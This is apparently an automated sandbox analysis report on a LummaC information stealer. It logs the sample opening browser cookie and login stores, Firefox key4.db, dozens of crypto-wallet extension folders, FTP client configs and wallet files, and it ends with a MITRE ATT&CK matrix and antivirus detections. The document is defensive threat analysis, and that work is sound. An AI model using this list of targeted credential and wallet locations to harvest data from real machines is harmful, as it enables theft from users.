Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Directory queried: number of queries: 1001

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	32 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	2 Obfuscated Files or Information	111 Input Capture	24 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	1 DLL Side-Loading	Security Account Manager	47 System Information Discovery	SMB/Windows Admin Shares	111 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Masquerading	NTDS	34 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	24 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Virtualization/Sandbox Evasion	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	111 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Set-up.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	100%	Avira	TR/Dldr.Agent.vfpsy
C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	100%	Avira	TR/Redcap.bgduw
